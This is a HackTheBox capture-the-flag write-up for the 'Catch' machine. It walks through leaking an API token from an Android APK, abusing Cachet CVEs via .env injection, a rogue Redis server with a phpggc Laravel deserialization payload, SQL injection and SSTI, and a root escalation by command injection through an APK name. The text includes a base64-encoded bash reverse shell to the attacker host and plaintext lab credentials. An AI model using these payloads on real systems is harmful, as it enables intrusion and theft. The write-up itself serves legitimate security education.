Catch requires finding an API token in an Android application, and using that to leak credentials from a chat server. Those credentials provide access to multiple CVEs in a Cachet instance, providing several different paths to a shell. The intended and most interesting is to inject into a configuration file, setting my host as the redis server, and storing a malicious serialized PHP object in that server to get execution. To escalate to root, I’ll abuse a command injection vulnerability in a Bash script that is checking APK files by giving an application a malicious name field.

Box Info

Name Catch Catch
Release Date 12 Mar 2022
Retire Date 23 Jul 2022
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Catch
Radar Graph Radar chart for Catch
First Blood User 44 mins, 14 seconds szymex73
First Blood Root 46 mins, 12 seconds szymex73



nmap finds five open TCP ports, SSH (22) and four HTTP servers (80, 3000, 5000, 8000):

oxdf@hacky$ nmap -p- --min-rate 10000                                                     
Starting Nmap 7.80 ( ) at 2022-06-11 20:41 UTC
Nmap scan report for
Host is up (0.090s latency).
Not shown: 65530 closed ports
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
5000/tcp open  upnp
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds
oxdf@hacky$ nmap -p 22,80,3000,5000,8000 -sCV
Starting Nmap 7.80 ( ) at 2022-06-11 20:43 UTC
Nmap scan report for
Host is up (0.089s latency).

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Catch Global Systems
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close                                                        
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=11f4bcc216e281a0; Path=/; HttpOnly
|     Set-Cookie: _csrf=TqeCOMxg0eXNRMeRtlBTI5MB66E6MTY1NDk4MDE5NDk5MzE4MjQ4Mw;
5000/tcp open  upnp?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:                                                       
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Catch Global Systems
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 94.91 seconds

Based on the OpenSSH and Apache (TCP 80) versions, the host is likely running Ubuntu 20.04 focal.

Website - TCP 80


The website on TCP 80 is for Catch Global Systems:


None of the links on the page lead anywhere, except for the “Download Now” button, which downloads catchv1.0.apk.

Tech Stack

The response headers don’t give much info at all. Guessing at the index page, it does return as index.php, which is a bit surprising as the page looks very static.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
200      GET      374l      602w     6163c
403      GET        9l       28w      277c
301      GET        9l       28w      317c =>
200      GET      374l      602w     6163c
403      GET        9l       28w      277c
[####################] - 2m    180000/180000  0s      found:5       errors:154    
[####################] - 2m     60000/60000   469/s 
[####################] - 2m     60000/60000   467/s 
[####################] - 2m     60000/60000   480/s 

Nothing interesting here.

Gitea - TCP 3000


There’s a custom Gitea instance on TCP 3000:


The bottom does has a Gitea version, 1.14.1, but I don’t find any vulnerabilities in this version that would have existed at Catches creation.

They call it “Catch Repositories”. Without an account, there’s not much to find. Under “Explore”, in the “Users” tab, there’s a single user, root:


Trying to visit the interactive Swagger API docs typically found with Gitea (link at the bottom of the page) just loads an empty page:


Looking at the link, it points to http://gitea.catch.htb:3000. I’ll add that to my /etc/hosts file, and start a subdomain brute force in the background, but it doesn’t find anything interesting.

Reloading the page as http://gitea.catch.htb:3000/api/swagger loads the docs:

Tech Stack

The HTTP headers have no Server header, which suggests perhaps it’s not using the same Apache service:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
X-Frame-Options: SAMEORIGIN
Date: Tue, 28 Jun 2022 21:09:50 GMT
Connection: close
Content-Length: 12125

My guess would be perhaps the Gitea container running in Docker. I won’t bother brute forcing here since it’s a known software.

The bottom right side of the footer on the page does identify it as version 1.14.1. That was released almost a year before Catch was released on HTB. I don’t see any obvious vulnerabilities in this version.

Let’s Chat - TCP 5000


The site on TCP 5000 calls itself “Let’s Chat”:


Tech Stack

Just like Gitea, no Server header:

HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-UA-Compatible: IE=Edge,chrome=1
Location: /login
Vary: Accept, Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 56
Set-Cookie: connect.sid=s%3AJhCVmtNrNmQfJxFx-CwQulwBD5dJXK5u.ISA4tmHWA8a1%2FIMpPzR4o7lxwoUPPYk3Ln4HZxeMSiY; Path=/; HttpOnly
Date: Tue, 28 Jun 2022 21:13:16 GMT
Connection: close

At the bottom right of the page, there is a link to the GitHub project for Let’s Chat. It looks to be a NodeJS application. If I had to guess, I’d say this is likely another Docker container, but don’t know this for sure.

I don’t see any public vulnerabilities in this software.

Cachet - TCP 8000


This page provides a list of incident reports:

At the bottom of the page, there’s two links. “Subscribe” returns a 500 error. “Dashboard” redirects to /auth/login and presents a form:


Tech Stack

At the bottom of the main page and over the login form both reference Cachet. Cachet is an open source status page system. Looking through their docs, it is built on PHP.

The HTTP headers show not only PHP, but also the Laravel framework:

HTTP/1.1 200 OK
Date: Tue, 28 Jun 2022 21:20:32 GMT
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlR4R1ZPQVRxS1h5TG5wUUwwU2JCOEE9PSIsInZhbHVlIjoiNFhPNnl1dTZ4SENkVWJ6QVdWRXdIZWZCU0xuSzhnMnViOERnXC9zR1hOWmIxYjZrYVhwaXUrZDZkNllYUTlZTW8iLCJtYWMiOiI4MDQ0NjM1YWZhMDNmOWNkNDU2YTliZDhhNzIxNjQzZjkzNGQxYTI3MmY0MzBjNjgyZWRlYTg0ZjMxNmZlNjRlIn0%3D; expires=Tue, 28-Jun-2022 23:20:32 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6IkVWbmpBblVyWWthNjlmaHNsT3AwMHc9PSIsInZhbHVlIjoiQmNLNU9IenltZ2gybnMzTVVFOTRNTWJBTDZSOHlPbW5YVUhsbTZVREdWcTQwXC81YlY1RjJKZEdPYmRDdEVvXC9aIiwibWFjIjoiZWM3MWE1NmMzNjIyMTE2ZTNlOGQ1NjI5MjBiODliYWJhMmU2MmMxMDBjMzJlYWM4ODZiMzNmMWUxYzlhOWIxMSJ9; expires=Tue, 28-Jun-2022 23:20:32 GMT; Max-Age=7200; path=/; httponly
Vary: Accept-Encoding
Content-Length: 8869
Connection: close
Content-Type: text/html; charset=UTF-8


I am able to identify a few exploits against Cachet:

  • Unauthenticated SQL Injection in Version <= 2.3.18 and dev 2.4. [CVE-2021-39165]
  • SSTI vulnerability, shown by the author of CVE-2021-39165. [No CVE]
  • Two RCE vulnerabilities and an information leak in 2.4, all described in this post. [CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174]

I’ll abuse all of these below.

APK Reversing


Recently I showed using apktool to decompile an Android APK in RouterSpace. I’ll use Jadx to open the Android .apk file this time (I did show this in 2019 for the Flarebear Flare-On challenge). After unzipping the release and running bin/jadx-gui, I’ll open catchv1.0.apk. It shows the structure of the application:


There’s a ton of files, but starting with the AndroidManifest.xml file will help orient:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.example.acatch" platformBuildVersionCode="32" platformBuildVersionName="12">
    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="32"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <application android:theme="@style/Theme_Catch" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="">
        <activity android:name="com.example.acatch.MainActivity" android:exported="true">
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>

It shows the entry point at com.example.acatch.MainActivity. This class is pretty simple. It’s using the WebView class to load the status page:


It is referring to status.catch.htb without specifying a port, and using https. So it’s not directly connecting to the status page on Catch.

I’ll not find much else here looking at the code manually.


The Mobile Security Framework provides an awesome environment for analyzing mobile binaries like .apk files.

I’ll download it with git clone , and then run the script. Then I’ll run, and it starts on localhost TCP 8000. Visiting that offers the chance to upload a binary:


I’ll give it catchv1.0.apk, and after a minute, it returns a very long report:


Towards the bottom, it shows “Hardcoded Secrets”:


It seems like some of the author’s tokens got embedded into the application. I don’t yet have a Slack instance, so I’ll put that token aside for now.

I’ll try the gitea_token in the Swagger docs, by adding it to the AuthorizationHeaderToken section:


When I try to execute /user, it returns that the token is invalid:


It seems this isn’t a valid token.

I’ll abuse the Let’s Chat token below.

Multiple Paths

There are several neat paths to show for between enumeration and getting a shell on the host system as will:

Click for full size image

Shell as will [Intended]

Access to Cachet

Let’s Chat API Access

The docs for the Let’s Chat API suggest that tokens can be used either as Basic Auth by setting the token to the username, or as a Bearer Token. Given that Bearer Token authentication is simpler, I’ll try that first.

The API is broken down into “Rooms”, “Messages”, “Files”, “Users”, and “Account”. I’ll start with /rooms, which should return a list of the chat rooms. Trying this without the token returns unauthorized:

oxdf@hacky$ curl 

I’ll use the token from the Android application as an Authorization header, and pipe into jq to make the output pretty:

oxdf@hacky$ export token=NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
oxdf@hacky$ curl -s -H "Authorization: Bearer $token" | jq .
    "id": "61b86b28d984e2451036eb17",
    "slug": "status",
    "name": "Status",
    "description": "Cachet Updates and Maintenance",
    "lastActive": "2021-12-14T10:34:20.749Z",
    "created": "2021-12-14T10:00:08.384Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
    "id": "61b8708efe190b466d476bfb",
    "slug": "android_dev",
    "name": "Android Development",
    "description": "Android App Updates, Issues & More",
    "lastActive": "2021-12-14T10:24:21.145Z",
    "created": "2021-12-14T10:23:10.474Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []
    "id": "61b86b3fd984e2451036eb18",
    "slug": "employees",
    "name": "Employees",
    "description": "New Joinees, Org updates",
    "lastActive": "2021-12-14T10:18:04.710Z",
    "created": "2021-12-14T10:00:31.043Z",
    "owner": "61b86aead984e2451036eb16",
    "private": false,
    "hasPassword": false,
    "participants": []

Enumerate Chat

There are three rooms, “status”, “android_dev”, and “employees”. /rooms/[room id]/messages will return the messages. I’ll use some jq foo to print the message and author id:

oxdf@hacky$ curl -s -H "Authorization: Bearer $token" | jq -c '. | reverse | .[] | [.text, .owner]'
["Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ","61b86f15fe190b466d476bf5"]
["Can you create an account for me ? ","61b86dbdfe190b466d476bf0"]
["Sure one sec.","61b86f15fe190b466d476bf5"]
["Here are the credentials `john :  E}V!mywu_69T4C}W`","61b86f15fe190b466d476bf5"]
["@john is it possible to add SSL to our status domain to make sure everything is secure ? ","61b86aead984e2451036eb16"]
["Why not. We've this in our todo list for next quarter","61b86dbdfe190b466d476bf0"]
["Excellent! ","61b86aead984e2451036eb16"]
["Also make sure we've our systems, applications and databases up-to-date.","61b86dbdfe190b466d476bf0"]
["You should actually include this task to your list as well as a part of quarterly audit","61b86aead984e2451036eb16"]
["ah sure!","61b86dbdfe190b466d476bf0"]

The user 61b86f15fe190b466d476bf5 makes some credentials for john! They don’t work over SSH:

oxdf@hacky$ sshpass -p 'E}V!mywu_69T4C}W' ssh john@
Permission denied, please try again.

But they do work to log into the Cachet instance on port 8000:


I’ll get the messages from the other rooms, but nothing super interesting.

Shell as www-data in Container

CVE-2021-39172 Background

This post from SonarSource goes into detail on three CVEs, including CVE-2021-39172, which provides remote code execution. The idea is to abuse the view used to update configuration details which end up in the .env file used by Laravel. While only certain values are allowed to be changed, but sending a value with newlines in it, the attacker is able to add additional values to the file. In Laravel, the first instance of a variable in the .env file is used, so as long as legit value being abused it above the target value in the file, the attacker’s version will be utilized.

The suggested exploit is to change the CACHE_DRIVER key to a Redis server under the attacker’s control. In that Redis server, I’ll cache a serialized PHP attack payload that will result in execution when the server connects and deserializes the payload.

Update .env

To exploit this, I’ll go to “Settings” > “Mail”, and click “Save”:


In Burp, I’ll find that request and send it to Repeater. The body of the POST shows the different items that are to be updated in the .env file:


I’ll change the config[mail_driver] to config[cache_driver] and change log to:


On sending this, I’ve injected three new configurations into the .env file.

I’ll open WireShark and filter on tcp.port==6379. If I browse to the login page in a private browsing window (no cookies), I’ll see traffic as a new session is created:


It’s worth noting that this config change gets reset pretty quickly, which is likely some kind of cleanup script to allow for multiple players to exploit this at the same time on the same host.

Configure Redis

I’ll need a copy of a Redis server locally to exploit this. I’ll install it with sudo apt install redis-server -y . I don’t want this to run regularly, so I’ll stop and disable the service (sudo systemctl stop redis-server and sudo systemctl disable redis-server), and run it in the foreground from the command line. I’ll start the server with --protected-mode no so that it listens on more than just local host:

oxdf@hacky$ redis-server --protected-mode no
95298:C 29 Jun 2022 16:49:58.756 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
95298:C 29 Jun 2022 16:49:58.756 # Redis version=5.0.7, bits=64, commit=00000000, modified=0, pid=95298, just started

Now it’s listening on all interfaces:

oxdf@hacky$ sudo netstat -tnlp | grep 6379
tcp        0      0  *               LISTEN      95298/redis-server  
tcp6       0      0 :::6379                 :::*                    LISTEN      95298/redis-server

I’ll connect to this server, and see there are no keys:

oxdf@hacky$ redis-cli> keys *
(empty list or set)

If I re-poison the .env (it’s timed out by now), and then refresh the login page in the private window, there’s now a session cached:> keys *
1) "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34"> get "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34"

I’ll recognize that result as a serialized PHP object.


PHP Generic Gadget Chains, or phpggc, is a tool for creating serialized attack payloads. I’ll git clone it into my /opt directory.

There’s a bunch of payloads for Laravel:

oxdf@hacky$ /opt/phpggc/phpggc -l | grep -i laravel
Laravel/RCE1                              5.4.27                             RCE (Function call)    __destruct          
Laravel/RCE10                             5.6.0 <= 9.1.8+                    RCE (Function call)    __toString          
Laravel/RCE2                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct          
Laravel/RCE3                              5.5.0 <= 5.8.35                    RCE (Function call)    __destruct     *    
Laravel/RCE4                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct          
Laravel/RCE5                              5.8.30                             RCE (PHP code)         __destruct     *    
Laravel/RCE6                              5.5.* <= 5.8.35                    RCE (PHP code)         __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                        RCE (Function call)    __destruct     *    
Laravel/RCE8                              7.0.0 <= 8.6.9+                    RCE (Function call)    __destruct     *    
Laravel/RCE9                              5.4.0 <= 9.1.8+                    RCE (Function call)    __destruct

These are all payloads that will make use of functions available in the application to get code running on deserialization.

On the GitHub page for Cachet, there’s a couple references to Laravel:

image-20220629133553627Click for full size image

These imply that it’s using at least Laravel 5.7. Laravel/RCE4 seems to cover the range I’m targeting (5.4.0 <= 8.6.9+), so I’ll build a payload to run id:

oxdf@hacky$ /opt/phpggc/phpggc -a Laravel/RCE4 system id

I’ll get a fresh session in the cache, and update it:> keys *
1) "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34"> set "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34" 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{S:10:"extensions";a:1:{S:0:"";S:6:"system";}}S:8:"\00*\00event";S:2:"id";}'

Now when I refresh that login page again:




I’ll base64-encode a bash reverse shell adding a couple extra spaces to get rid of / and = characters):

oxdf@hacky$ echo "bash  -i >& /dev/tcp/ 0>&1 " | base64

I don’t need the bash -c '[payload]' because I’m going to pipe it into bash after decoding.

I’ll encode that into a PHP object:

oxdf@hacky$ /opt/phpggc/phpggc -a Laravel/RCE4 system "echo 'YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK'|base64 -d|bash"
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{S:10:"extensions";a:1:{S:0:"";S:6:"system";}}S:8:"\00*\00event";S:78:"echo 'YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK'|base64 -d|bash";}

I’ll re-poison the .env file, and refresh the page to get a session in Redis:> keys *
1) "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34"

I’ll update it to the payload:> set "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34" 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{S:10:"extensions";a:1:{S:0:"";S:6:"system";}}S:8:"\00*\00event";S:78:"echo 'YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK'|base64 -d|bash";}'
Invalid argument(s)

It fails, because there a ' in the payload and wrapping the full thing. I’ll go back and escape the ' with a \. Now it works:> set "laravel:rBjWQbicKo0nDt7IRC2jVI8kG0wReZuEfH7stO34" 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{S:10:"extensions";a:1:{S:0:"";S:6:"system";}}S:8:"\00*\00event";S:78:"echo \'YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDMgMD4mMSAK\'|base64 -d|bash";}'

I’ll refresh the page, and it hangs. There’s a shell at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 35616
bash: cannot set terminal process group (26): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade my shell with script and stty (shell upgrade explained):

www-data@70e4165dab0b:/var/www/html/Cachet/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@70e4165dab0b:/var/www/html/Cachet/public$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as will on host


It’s clear based the hostname that I’m not on the host:

www-data@70e4165dab0b:/var/www/html/Cachet/public$ hostname

The IP is

www-data@70e4165dab0b:/$ ifconfig
bash: ifconfig: command not found
www-data@70e4165dab0b:/$ ip addr 
bash: ip: command not found
www-data@70e4165dab0b:/$ cat /proc/net/fib_trie        
  +-- 3 0 5
        /0 universe UNICAST
              /32 host LOCAL

The .env file is in /var/www/html/Cachet:

www-data@70e4165dab0b:/var/www/html/Cachet$ cat .env 

If I poison the file again, I can see where my payload is inserted, taking precedence over the legit values:

image-20220629140604591Click for full size image

There’s also DB creds for a user will:



These creds work to SSH to the host:

oxdf@hacky$ sshpass -p 's2#4Fg0_%3!' ssh will@
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

And grab user.txt:

will@catch:~$ cat user.txt

Shell as will [Alt #1]

I’ll use the same techniques above to access Cachet as john. But this time, I’ll use the info leak CVE to get the environment variables directly, skipping the need for RCE in the container:

Click for full size image


This CVE is described in detail in the same SonarSource blog post. It’s quite simple. Looking at the same form to change the mail config, if something in the .env is stored as ${NAME}, then it will reference a previously defined name. Following the example in the post, I’ll set the Mail Host to ${DB_USERNAME} and the Mail from Address to ${DB_PASSWORD}. On refreshing:


This was a bit finicky. For reasons I can’t explain, I would often have to set this several times to get it to work.


Just like above, I can use those creds to get a shell:

oxdf@hacky$ sshpass -p 's2#4Fg0_%3!' ssh will@
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

Shell as will [Alt #2]

This path still requires getting access to Cachet to get the API key, but then uses SQL injection in the API plus server-side template injection (SSTI) to get a shell in the container:

Click for full size image

Get API Key via SQLI


There’s an unauthenticated SQL injection in Cachet. This means that I can skip the Let’s Chat part, and go read the database. The researcher who discovered and reported CVE-2021-39165 has a really detailed blog post about it (and more).

The SQL injection is boolean blind, which is to say, I get to ask yes or no questions (like, is the first character in this column and row an “a”?), and slowly figure out what’s in the database. I’ll use the POC from the post to find the injection:

oxdf@hacky$ sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --batch
sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+'a'=? and 1=1) AND (SELECT 3497 FROM (SELECT(SLEEP(5)))gMJf)+--+

Interestingly, it couldn’t find a boolean injection, but only a time-based one. I wasn’t able to recreate the boolean injection manually either. I think it’s missing data in the database (because this is an unintended path on a CTF box) that it would show or not show, and that’s why it fails. This is more of a pain (no threads), but will still work.

Enumerate DB

Because the injection is slow, I’ll guess that the DB name is the same as the example .env file, “cachet”. There should be a users table that has hashes and API keys. From the docs, API keys are created when the user is created:

The API Token is generated at installation time for the main user or when a new team member is added to your status page and can be found on your profile page (click your profile picture to get there).

The User object (defined here) has username, password, and api_key fields, among others. I would normally dump the password, but I know from the chat leak that it’s not something I can crack. I’ll dump the username and api_key:

oxdf@hacky$ sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --batch -D cachet -T users -C username,api_key --dump
Database: cachet
Table: users
[2 entries]
| username | api_key              |
| john     | 7GVCqTY5abrox48Nct8j |
| admin    | rMSN8kJN9TPADl2cWv8N |

Get API Key Via Profile

Alternatively, instead of using the SQL injection, I can use the Let’s Chat API to get john’s password, shown above. Then, logged in as john, visiting the Profile page shows the API key:


Generate Template

The Cachet API docs don’t show a way to create templates using the API. That means I’ll need the GUI access as john to do this part (though hit me up on Discord or Twitter if you figured out how to do this with only an API key).

I’ll use the POC from the CVE-2021-39165 writeup:


I’ll create a template named “id” with that as the body and click “Create”:


Trigger SSRF

Only the API triggers the SSRF. I’ll use Repeater to send the request:

image-20220629150338651Click for full size image

That’s code execution. I can update this or create a new template with a reverse shell payload, and it returns a shell in the container.

Shell as root



There’s nothing interesting in /home/will. Looking around the file system, there’s two directories in /opt:

will@catch:/opt$ ls
containerd  mdm

There’s a bunch of docker-proxy processes in the ps auxww output:

root        1403  0.0  0.0 548252   668 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6000 -container-ip -container-port 80
root        1565  0.0  0.0 400788   484 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6001 -container-ip -container-port 80
root        1787  0.0  0.0 548252   472 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6002 -container-ip -container-port 80
root        2715  0.0  0.0 400788   448 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6003 -container-ip -container-port 80
root        3344  0.0  0.0 400788   504 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6004 -container-ip -container-port 80
root        3828  0.0  0.0 548252   376 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6005 -container-ip -container-port 80
root        4551  0.0  0.0 548252   400 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6006 -container-ip -container-port 80
root        4899  0.0  0.0 400788   496 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6007 -container-ip -container-port 80
root        5585  0.0  0.0 548252   484 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6008 -container-ip -container-port 80
root        6438  0.0  0.0 474520   408 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6009 -container-ip -container-port 80
root        6989  0.0  0.0 400788   404 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6010 -container-ip -container-port 80
root        7544  0.0  0.0 474520   496 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6011 -container-ip -container-port 80
root        8026  0.0  0.0 474520   404 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6012 -container-ip -container-port 80
root        8779  0.0  0.0 474520   872 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6013 -container-ip -container-port 80
root        9105  0.0  0.0 400788   824 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6014 -container-ip -container-port 80
root        9844  0.0  0.0 548252  1392 ?        Sl   Jun19   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 6015 -container-ip -container-port 80

These are likely containers used to load-balance the Cachet step, so that more players can solve the .env overwrite at the same time. I’m not able to access the containerd folder as will.

mdm is more interesting. It has a shell script and an empty folder:

will@catch:/opt/mdm$ ls


To look at the running processes, I’ll upload pspy using scp:

oxdf@hacky$ sshpass -p 's2#4Fg0_%3!' scp /opt/pspy/pspy64 will@

On running it, I’ll notice that is running as root every minute:

2022/06/29 19:25:01 CMD: UID=0    PID=1000440 | /bin/bash /opt/mdm/


The general structure of the file is to define four functions, and then have a loop that calls them:


# Signature Check #
sig_check() {

# Compatibility Check #
comp_check() {     

# Basic App Checks #
app_check() {        

# Cleanup #

cleanup() {
        rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v

# MDM CheckerV1.0 #


for IN_APK_NAME in $DROPBOX/*.apk;do
        OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
        APK_NAME="$(openssl rand -hex 12).apk"
        if [[ -L "$IN_APK_NAME" ]]; then
                mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
        sig_check $IN_FOLDER $APK_NAME
        comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN

It’s looping over all the .apk files in /opt/mdm/apk_bin. For each, it generates an output filename, by removing everything before the last / (using var##word), splitting at ., and then adding _verified.apk to the end.

It checks if the file is a symbolic link, and if so, it exits. Otherwise, it moves the APK into a folder in /root.

Then it calls sig_check, comp_check, and app_check. Once the loop is complete, it calls cleanup.


The app_check function has a command injection vulnerability in it:

app_check() {                                    
        APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml") 
        echo $APP_NAME
        if [[ $APP_NAME == *"Catch"* ]]; then
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
                echo "[!] App doesn't belong to Catch Global"

It uses grep to pull the name out of strings.xml, and then if “Catch” is present in the name it makes a directory and moves the apk into it.

To command inject, I’ll just need to have the name get set to something with a subshell ($()), and that will be executed.

Command Injection

Edit APK

I’ll use apktool to decompile the APK into its sources, as described here. I’ll grab the latest release here. Because this APK isn’t going to run on a device, I don’t have to worry about signing it.

I’ll start by decompiling the app:

oxdf@hacky$ java -jar apktool_2.6.1.jar d catchv1.0.apk -o decomp
I: Using Apktool 2.6.1 on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/oxdf/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

I’ll verify that I can rebuild that with no changes, just to make sure my system is working:

oxdf@hacky$ java -jar apktool_2.6.1.jar b -f decomp/ -o test.apk
I: Using Apktool 2.6.1
I: Smaling smali folder into classes.dex...
I: Building resources...
I: Building apk file...
